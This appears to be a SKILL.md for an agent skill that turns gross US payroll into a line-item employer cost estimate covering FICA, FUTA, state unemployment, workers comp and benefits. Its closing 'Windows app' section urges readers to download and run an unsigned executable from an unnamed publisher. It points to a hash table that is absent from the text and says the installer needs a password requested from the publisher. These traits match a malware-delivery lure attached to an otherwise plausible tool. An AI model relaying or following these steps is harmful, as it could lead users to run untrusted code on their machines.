Payroll Cost Calculator

Turns gross US payroll into employer cost with FICA, FUTA, workers comp and benefits, as a line-item estimate per pay period. Written for US small business owners, bookkeepers and operations managers costing out a hire.

Use this skill when someone asks for:

• payroll cost calculator employer
• employer payroll tax rates
• fully loaded employee cost
• fica futa employer rates

The job

A hire gets approved on salary, and the real cost per pay period is the salary plus two payroll taxes, workers comp and benefits that nobody put in the budget.

What you get

1. Collect gross wages, hours per period, pay frequency, the work state and the benefit costs.
2. Build the line-item estimate: gross pay, employer FICA, FUTA, state unemployment, workers comp and benefits.
3. Show the per-period total and the annualized total.
4. List the rates that come from the state or the carrier, marked as confirm-with-provider rather than stated as fact.

Output contract:

• line_items - gross pay and each employer cost on its own line
• per_period_total - the cost of one pay period
• annualized_total - the cost over the year
• confirm_list - the rates and items the user must check with the payroll provider or the state agency
• state_note - which line is where the state variance sits

US specifics that matter

• The employer FICA rate is 7.65% on wages: 6.2% Social Security up to the annual wage base and 1.45% Medicare with no cap.
• FUTA is 6.0% on the first $7,000 of wages for each employee, and most employers take the standard credit that reduces the effective rate to 0.6%.
• The Social Security wage base changes with the annual inflation adjustment, so confirm the current figure on SSA.gov.
• Additional Medicare tax of 0.9% applies to wages above a threshold; the employer withholds it and does not match it.

Guardrails (hard rules)

• Never file payroll taxes or make a tax deposit on the user's behalf.
• Never present a state rate as fact for a state the user did not name.
• Never treat the estimate as the employer's legal payroll tax liability; the payroll provider or the accountant confirms it.
• Never leave a benefit cost out silently; list it in the confirm list instead.

Quickstart

1. Fill in the brief

templates/payroll-cost.yaml is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_payroll_estimate.py --input payroll-cost.yaml --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/us-payroll-taxes.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Federal employer taxes

• FICA: 7.65% of wages with the employer match, Social Security capped at the annual wage base.
• FUTA: 6.0% on the first $7,000 of wages, usually reduced to 0.6% by the standard credit.
• Additional Medicare of 0.9% is withheld above the threshold and is not matched by the employer.
• Confirm the current Social Security wage base on SSA.gov each January.

State and other costs

• State unemployment insurance rates vary by state and by experience rating.
• Workers compensation is set by state law and priced by the carrier.
• Paid leave and disability programs vary by state and by program.
• Benefits cost varies by plan and by what employees actually elect.

Where the numbers come from

• The payroll provider's rate sheet is the source for the state taxes and workers comp.
• The carrier's policy endorsement is the source for the workers comp rate.
• Keep the rate sheet and the wage base with the hire paperwork.
• Recalculate at each annual adjustment rather than carrying the old rate forward.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/us-payroll-taxes.md - US employer payroll tax basics
• templates/payroll-cost.yaml - the brief to fill in
• scripts/build_payroll_estimate.py - the working script

Verify the bundle

python3 scripts/build_payroll_estimate.py --input payroll-cost.yaml --out ./out

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